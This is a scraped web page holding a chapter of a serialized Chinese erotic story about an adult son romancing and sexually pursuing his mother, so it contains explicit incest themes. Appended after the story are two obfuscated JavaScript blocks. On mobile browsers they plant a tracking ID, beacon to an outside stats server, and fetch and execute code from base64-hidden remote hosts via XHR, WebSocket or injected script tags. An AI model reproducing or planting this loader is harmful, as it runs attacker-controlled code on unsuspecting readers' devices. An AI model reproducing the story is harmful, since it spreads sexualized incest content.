图片载入中

欲火 (10-12)

特大字】 【大字】 【中字】 【小字

第十章 初次约会

鼻子上挂着个墨镜,长长的黑色风衣领子特意立起来,里面是笔挺的灰色西装。揣着兜,叼着烟,身体斜靠在在车子旁,盯着对面自己家的楼门发呆的我,引得路人投来讶异的目光。

此刻我的心情真是既新奇又兴奋,等待的人是最熟悉不过的母亲,却第一次以恋人的身份约会,今天究竟会有怎样的刺激经历呢?想到这里我又难掩心中的兴奋之情,嘿嘿地乐出声来,吓得一位牵着狗从我面前走过的姑娘掉头就往回跑。 我注意到她的反应心中有些纳闷,从刚才开始我就觉得有些奇怪,我虽然长得还说得过去,却也不是什么貌似潘安才比宋玉的人物,可是怎么不分男女老少,只要从我面前路过,总是要对我驻足留恋地回头张望一番才肯离开?难道今天我真的这么有魅力?

想到这里我不由得从车窗上看看自己的形象,这一看把自己也看得一愣。早上出来太激动也没好好看看自己的穿着,现在这一仔细端详才发觉,自己怎么看怎么像是冒充黑社会的土流氓,典型的上世纪初港产黑帮片风格,跟什么风流潇洒丝毫沾不上边,在这个年代还穿成这样难怪会引来异样的目光。

我心中暗骂老周,都是他出的主意,我也真笨怎么就会鬼迷心窍地听了这个没品位人的建议,可是现在也来不及回去换衣服了,只好先这样将就着了,只求能引起妈妈一些怀旧情节吧,至于别人爱看就看去吧反正我从来就不在意别人的目光。

话虽如此我却也实在不好意思再招摇地站在外面,只得回到车里等着妈妈。又等了一会仍不见妈妈出来,实在有些无聊于是掏出手机开始看起上面的短信。 这些天我强忍着不跟妈妈见面,只是在晚上煲个电话粥,特意请教了一些情圣级的专家,最后才精心策划了这个周末的约会,一心想让妈妈有种与往日不同的感觉,俗话说小别胜新婚,何况我压抑了十多年刚跟妈妈发生了关系就分开好几天,这得多大的毅力啊,我自己都为我的用心良苦感动不已,不知一会妈妈见了我得感动成什么样?

“早点到,妈妈!”

看到妈妈给我的最后一条短信我不禁摇头苦笑,我昨天发的是,“明天我去家里接你,伦!”之后就满心期待着能收到个甜蜜的回复,谁想到妈妈的回信却是这个。她为什么不直接署名啊?干嘛还特意像是点明我们的关系似的,难道她还打算与我继续保持纯洁的母子关系吗?

在我热切的期盼中伊人终于出现在熟悉的楼门口,一身咖啡色的泥子大衣直至膝上,包裹着玲珑有致的性感身材;腰带紧紧系出盈盈一握的小蛮腰,更加凸显高高鼓起的胸部和优美的胯部曲线;外翻的领子里露出月白色高领毛衣,衬托着娇嫩欲滴的脸蛋更如羊脂白玉一般;脚下穿的一双深褐色的鹿皮翻毛小皮靴,更使她整个人看起来活力四射。妈妈只静静地往楼门口那么一站,顾盼间浅笑如谜,眉梢眼角间立时流露出一种成熟女人的妩媚风情。

漂亮女人的年龄本来就让人难以分辨的,何况妈妈又是那种天生的尤物,这身打扮更使她好似二十多岁的女孩儿一般,真是从头到脚都美得让我神魂颠倒。 心猿意马的我赶忙推开车门迈着大步迎了过去。

妈妈乍见我先是愣了一下没认出来,随后看出是我忽然忍俊不止“噗嗤”一下笑道:“怎么穿成这样?真难看!”

这句话把我最后的幻想也给打破了,我现真的恨死老周了,这叫什么装酷?他这人不是还活在上个世纪,就是心中英雄本色里小马哥的情节还没消散,我好好的找谁征求意见不好非要问他,真是作茧自缚了。

不过现在说什么也要拿些男朋友的架势出来,不然我的计划就全泡汤了。于是我故意板起脸来道:“不要笑,咱们今天是第一次约会,严肃点。”

谁知我的话非但没起到作用,妈妈更是丝毫不给面子地两根葱指捻起我的风衣,皱着眉,撇了撇嘴,上下打量一番道:“现在哪还有人穿成这样约会的,多傻啊。你要这样我可不跟你上街。”

我彻底无语了,只得被妈妈逼着把里面的西服上衣脱了露出黑色汗衫,并解下领带让衬衫的扣子敞开,露出里面我过生日时她送我的项链。妈妈看了看又把墨镜摘下挂在我的领口上,坚持不让我我再将风衣领子翻上去,最后轻轻掸了掸我的肩头,这才勉强地点了点头嘱咐我道:“以后不知道怎么搭配衣服就问妈妈,不许再这样瞎穿了。”我自然忙不叠地点头那还敢有意见。

待一切收拾妥当妈妈很自然地挎上了我的胳膊道:“走吧”

我的手臂碰到她柔软的胸部,心情激动之下走起路来浑身都死板着,甚至都不知道该迈那条腿了,一边走一边侧头看着比我矮了半头的妈妈傻傻地道:“妈,你今天真美”

妈妈得到的称赞拎起风衣的下摆,像个天真的小姑娘一般展示给我看道:“好看吗?这身衣服我昨天才买的”

这难得一见的表情顿时把我看痴了,脱口道:“你身材这么好,穿不穿衣服都好看。”

妈妈皱了皱眉似嗔似愠地拍了我一下道:“小色鬼,又胡说八道。”

我心中一荡,正想再说些什么挑逗一下妈妈,却听她大声叫道:“伦伦小心!”随后一把将我拉到身后,与此同时一辆面包车贴着妈妈的面前疾驰而过,带起的风让妈妈站立不稳倒向我怀中。

我吓得得急忙抱住问妈妈道:“你怎么样?伤到没有?”

妈妈站起来埋怨道:“我没事,你怎么不看路啊。”

这一瞬间我忽然意识到这个小动作的严重性,若是继续这样下去,那么我所努力塑造起来的形象又会退回到被妈妈呵护的儿子上了,当下很认真地道:“妈,应该是男人保护女人你知道吗?”

“嗯”妈妈随意地点着头应着。

“以后不管遇到什么危险你都要躲在我后面。”我继续强调道。

“哦”妈妈一直低着头尽力忍耐却始终难掩嘴角那浓浓的笑意。

我见妈妈只是嘴里应付显然没有把我的话当回事,暗想:“看来必须得拿出点大男人的威严来才行。”于是一脸严肃地道:“以后得听我的话,知道吗?” 听我这么一说妈妈终于忍不住失声笑了出来,随后似乎又觉得不妥忙掩嘴强忍道:“伦伦,对不起,妈妈看到你的样子就忍不住想笑。”见我脸色难看妈妈忙轻轻在我脸颊上亲了一下又继续道:“乖,妈妈知道了,以后什么都听你的就是了。”

我无奈地摇了摇头,看来在自己亲妈面前摆男朋友的架势还真不是那么容易的,我精心设计的约会开头就没开好,但愿之后不要再出意外了。

“咱们去哪?”坐进车里妈妈一边系着安全带一边问道。

我总觉得这感觉不像约会,于是故作神秘地道:“不要问,今天所有安排都听我的。”说完放下手刹踩动油门。

妈妈歪着头看了看我,随后又一本正经地转过头去,但是她嘴角那始终难掩的一丝狡黠笑意,使我又生出一种被洞悉内心想法的感觉。

“难道她猜到了我的想法?”

其实我早就买好了电影票,并且预定了一家高档西餐厅靠窗的位置,还约好了小提琴手,要不是闹市区不让放花我还打算来点烟花呢,总之什么浪漫玩什么,今天不让妈妈感动我是誓不罢休的,等到她彻底被我的浪漫攻势所征服,嘿嘿,那就是夜晚的激情时刻了。

“坏了!”我突然意识到我遗忘了什么,我竟然忘了买花,怎么会这样大意? “花店!花店!”我开始满大街踅摸花店。

“快看车!”妈妈忽然一声惊叫。

我一擡头见已经驶进了逆行车道,急忙猛打方向盘,一辆大客车从旁边唿啸而过,吓得我出了一身冷汗。

真要命,跟她在一起太容易走神了。

*** *** *** ***

一路上我不敢再分神,专注地开着车。花店是没找到,不过我以让妈妈帮我选衣服为借口,来到了闹市区,打算先陪她逛街。我想这活动应该没有那个女人不爱的吧,让她先感受一下情人间的亲密举动,然后再慢慢调整我在她心里的身份吧。

“咱们的回头率还真高啊。”我插着兜一脸得意地道。本来我的计划是一起逛街的时候可以趁机搂着妈妈的纤腰,可是她总是挎着我的胳膊让我连一点机会都没有。

妈妈嘴角翘了翘不以为然地道:“是啊,别人都在看这个女人怎么跟个小流氓在一起。”

“嘿嘿,妈你说这些人都怎么看我们的关系?肯定不是母子。”我才不上当,想要转移话题没门!

妈妈坏笑道:“阿姨带着小朋友逛街啊。”

“为什么不是夫妻?”我毕竟不如她城府深沈不住气道。

妈妈指着我的鼻子道:“因为你这小坏蛋一看就没长大的小屁孩”

我不甘示弱地道:“可是这小孩却与你有了夫妻之实了。”

妈妈脸上一红拍了我一下道:“找打”

我看着她薄嗔微愠的表情,那粉嘟嘟的小嘴微微嘟着可爱至极,忍不住又动了歪念头,忽然大惊小怪地指着一边道:“快看。”

妈妈本能地把头转了过来,我立即以迅雷之势偷了个嘴并赞道:“好香。” 妈妈被我吻了个措手不及,明白过来这才羞怯地看看左右,责怪道:“再这么没正型我不理你了。”

我无视妈妈的警告,一脸得意自顾自地道:“妈妈的唇真软,味道又香又甜,我看这世上也只有一件东西可以媲美这种味道了。”

妈妈虽然口中说这不理我可还是本能地随口问道:“什么东西?”

我低低在妈妈耳边道:“极品鲍鱼”

妈妈的脸“腾”地一下泛起一片红霞,紧接着毫不怜惜地狠狠掐在了我的腰眼上,在我的大唿小叫和妈妈的娇笑声中我们母子拉拉扯扯地跑进了商场。 “嘿嘿,看来我也并非那么不济,这次交锋我是占了上风了。”我自鸣得意地想着。不过人总是得陇望蜀,小占了一下便宜之后我又很期待更大的满足感,此刻真的很想听听别人怎么评价我们母子,最好有个懂事的服务员叫声先生太太那才叫妙呢。我正在意淫中不知是否上天听到的了我的祈祷,一个甜美的声音忽然漂了过来。

“小姐、先生卖点什么?”

“这是谁家的孩子?真懂事!”

虽然与我的预期有点差距,不过这及时的响应却也满足了我心理上的需求,却全没意识到人家这种称唿对任何人都是通用的,并非对我的特殊待遇。 我擡头寻声望去,只见一家专卖店门前站着一位正在甜甜微笑的女店员,在她身后的橱窗里陈列着很多内衣,粉红色的霓虹写着“情侣专卖店”五个暧昧的大字。

可能是因为卖的东西比较高档,也比较敏感,所以店面非常冷清,以致店员都要出来往里拉人。

我正想进去买点什么以谢她的懂事,妈妈却突然对店员道:“这是我儿子。”我闻言差点滑倒,太受打击了。

那店员小姐先是一愣,随后看了看我和妈妈却马上又笑道:“别开玩笑了你们怎么可能是母子呢,小姐这么年轻这么漂亮最多就像这位先生的姐姐,怎么看都不像母亲。”这种服务业的店员果然训练有素,说话总是很到位而且随机应变的功夫也很有一套。

我心中暗自称赞这个店员小姐乖巧的同时也深深为她拍马屁的功夫而感到折服,年轻还说得过去,可漂亮与是否是母亲有什么关系,这不明摆着讨好吗? “你真猜对了,我们就是姐弟,走吧弟弟陪姐姐进去看看。”妈妈看来没能低抵挡得住人家的糖衣炮弹,挎着我的胳膊走近专卖店,不过我却感到很失望,满心期待的美好感觉一下子成了姐弟这失落感真是不爽。

妈妈见我一脸失望的表情,悄声笑道:“怎么了小坏蛋,干嘛嘟着脸?” 我恨恨地道:“为什么说是姐弟?”

妈妈顾左右而言他道:“因为我说实话他不信啊。这世界就是这样,你说真话往往不会有人相信,反而帮着你来骗自己”

我着急道:“为什么不说是……”

妈妈眼眸中含着一丝顽皮的笑意道:“是什么?”

哎,真窝火,这回合算平手吧。

那店员见终于把客人拉了进来,自然更是满面堆笑地一路为我们做着介绍,不时还不着痕迹地对妈妈猛灌米汤,同时还不忘向我介绍着妈妈如果穿上什么衣服会怎样,看她的样子分明在心里还是认定我们是一对情侣,刚才的话不过是顺着妈妈说的而已,不过这也正合我意,这一上午我终于找到了一点带着自己的女人逛街的感觉。

“怎么样?大小合适吗?”

一条金色的脚链系在妈妈的脚上,金色与白玉般的皮肤相互衬托真是动人至极。

“小姐皮肤真好,带这种金色饰物最合适了,我们还有一种跟这脚链配套的腰链,先生要不要看看?”店员知机地急忙推销。

我脑中立时浮现出妈妈性感的身材,雪白的胴体全身赤裸,只在小蛮腰和脚腕上带着金链,这是多么诱人的一幅画面啊,想到这里我毫不犹豫地一拍大腿道:“不用看,买了!”

转移视线,做贼心虚地假意去看别的商品。恰巧看到柜台里一件黑色渔网的情趣内衣,我一眼就认出这是那种包裹全身的衣服,忍不住驻足观看。

妈妈警觉地站到我身边道:“小坏蛋不许动歪脑筋。”

我一脸尴尬正想解释,那店员却已经走了过来道:“小姐喜欢吗?先生一定喜欢的。”这句话完全暴露了她对我们身份的看法,不过我却丝毫不以为意,以一个最甜美的微笑回敬女服务员,以示她的善解人意。

妈妈红着脸道:“我们不要了。”急急忙忙地拉着我走开“干嘛不要啊?不是挺好看吗”我看着妈妈羞涩的表情故意逗她道。

“去,不许整天想这些下流东西。”妈妈强行拉着我往外急走,见她又露出这种害羞的神态,我心中忽然很有成就感,只觉得像是这样挑逗妈妈也是一种乐趣,正想再说些什么逗逗她,却在快要走出店门的时候发现一张红色的情侣床,我脑中电光一闪心口猛跳,兴奋地拉着妈妈道:“快看,大床!咱们买一个吧!” 妈妈被我的失态逗笑了,道:“床也值得大惊小怪?咱们家又不是没床,买它干嘛”

我低声在妈妈耳边道:“作为我将来成为妈妈入幕之宾的鉴证啊。”

妈妈没好气地瞪了我一眼道:“你这小坏蛋越来越不听话了,就不会想点别的吗?”

我见机会难得,急忙拿出小时候的看家本领耍赖道:“买一个吧。”

妈妈皱了皱眉道:“换床还要重新布置房间”

我拍着胸口道:“这些都由我来安排,绝对不让你费心”

妈妈见我如此坚持只得无奈地道:“我不管了,你自己弄吧。”说完不知是害羞还是怕麻烦自己走出了专卖店。

我赶忙用信用卡付了账,并写下地址约定了送货时间,临走前还不忘又把那件情趣内衣也付了钱,并让他们一起送货。

陪着妈妈又逛了一会,我脑海中却总是想着那情趣内衣和饰物穿在妈妈的美妙画面,只要一想到妈妈曼妙的身材,雪白的肌肤在黑色渔网内衣中,腰上、脚上系着细细金莲的诱人景象,就忍不住傻笑,妈妈察觉到我脸上的萎缩笑容质问道:“怎么笑成这样?你又做什么坏事了?”

“没……没有啊,真的没有。”我急忙掩饰。

“哼,你从小有什么事能瞒得过我?”妈妈忽然把嘴凑到我的耳边悄声道:“那东西我绝对不会穿的,你买了也没用。”

我被说中心事愕然道:“啊,你怎么知道的?”

妈妈没说话笑了笑走走进了一家女士服装专卖店,我不由摇头感叹,看来太了解也不是好事。

在商场里看着妈妈兴奋地拉着我挑选着服装,天真的像个小女人一样比来比去,真是奇怪以前我怎么就没发现妈妈在买东西的时候竟然这么可爱。

我开始有些后悔了,当初不该把话说得太满,那么冲动干嘛?即使不用搬出去也没关系啊,这不是逞能嘛。

难怪人家常说男人在床上说的话都不可信,那时候都是精虫上脑哪里会考虑这么多。冲动,我太冲动了,现在这就是对冲动最好的惩罚。

可是转念又一想,我似乎并没有说不与妈妈在家里以外的地方做爱,不知道我现在要是提出去旅馆,她会不会同意?

脑子里一边动着这些歪脑筋,目光开始四处熘达着,忽然看到一个花店,看看妈妈正在专心地挑选着服装,我急忙向花店走去。

我做贼似的冲进了花店我一边回头看看妈妈发现我没有,一边急着道:“一打玫瑰花,快点!”

“对不起先生,红玫瑰只剩下10朵了”花店老板抱歉地道。

靠,今天怎么什么都不顺。十全十美?感觉不对啊,哪怕是11朵12朵都好说,

这10朵实在让我心里别扭。

花店老板见我犹豫忙道:“别的颜色的可以吗?”

我看了看架子上的玫瑰,还真有不少少见的品种。

黄色的“嫉妒?”绝对不行!

橘红玫瑰“友情?”开玩笑!

蓝玫瑰“敦厚善良”胡闹!

花店老板见我紧锁眉头提议道:“要不您看看别的花可以吗,我可以为你搭配一下。”

正在我犹豫不决的时候,妈妈已经走了进来,我心中暗唿糟糕,这下彻底失败了,连一点神秘感都没了。

妈妈一进门马上明白了我凡事追求完美的毛病又犯了,她也不说破只是微笑着从花束中挑选了两支道:“这样就好了”

我看见妈妈选的花心中不由一抽,那是一支粉红色的康乃馨,在9朵娇艳的红玫瑰的衬托下那一抹温馨的粉色显得非常碍眼,可是却又给人一种非常和谐的奇怪感觉。

我正在想着妈妈这是无心之举还是别有含义?忽然一个清脆甜美的声音在耳边响起。

“徐监制!”

巨大的墨镜几乎遮住了半张脸,白色毛线编织的花帽子也压得很低只露出尖尖的下巴,一身过膝的乳白色长羽绒服把眼前这个明显有点日韩风格打扮的小姑娘包裹得严严实实得,以致我好久都没认出了。

“你也来买花吗?”小姑娘伸出了裹着四指的线手套,将大墨镜压下,这个动作使她帽子上面垂下的红色绒球随着她身体的俏皮地摆动着。

当我看到墨镜后面那一双灵动清澈的大眼睛时,这才认清原来是Linda.“那

天还没机会谢谢你呢……”Linda刚说了两句忽然瞟了一眼我身边的妈妈,后面

的话没有说出来。

我笑着向Linda和妈妈介绍道:“我女朋友方芷琪,这是我公司旗下的歌手Linda.”

“您好”Linda有些局促地与妈妈打着招唿。

妈妈看了看Linda手中的康乃馨大方地道:“送给妈妈的?”

Linda羞涩地道:“恩,我妈妈今天到,我要去接她所以……”

“好,那就不打搅你了,不然被狗仔队拍到又要乱写一通了。”不等Linda说完我就着拉着妈妈急匆匆地走开了。

妈妈回头看看已经没入人群的Linda,这才对我道:“这小丫头对你似乎有些意思啊。”

我有些茫然地道:“为什么这么说?”

妈妈神秘地笑了笑道:“女人的直觉。”

我心中一喜道:“你是不是吃醋了?”

妈妈掐着我的鼻子道:“偷腥可以,只要把嘴给我擦干净就行,还有,不要让我见到。”

我一脸失望地道:“你就一点也不嫉妒?”

妈妈得意地道:“怕什么?反正我生的是儿子。不怕吃亏。”

我心中暗叹“这个女人啊不寻常啊!”仔细回想这一上午的约会,明明应该我来宠溺她的,可是现在怎么看还是妈妈在逗着儿子玩,这让我想起小时候妈妈总是靠在床上,让我费尽千辛万苦地翻过她的身体,颤颤巍巍地站起来,终于摸到妈妈手里的糖果,她却一下放进自己嘴里,就在我要哭的时候,妈妈却又马上把温柔的嘴唇伸过来,将糖果渡进我嘴里,或许这就是她本来的性格吧,真不知道脱离了妈妈的身份之后展现在我面前的又将是怎样的一个女人。


上一篇:我与我姐温暖的冬天

下一篇:偷情狂想曲


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};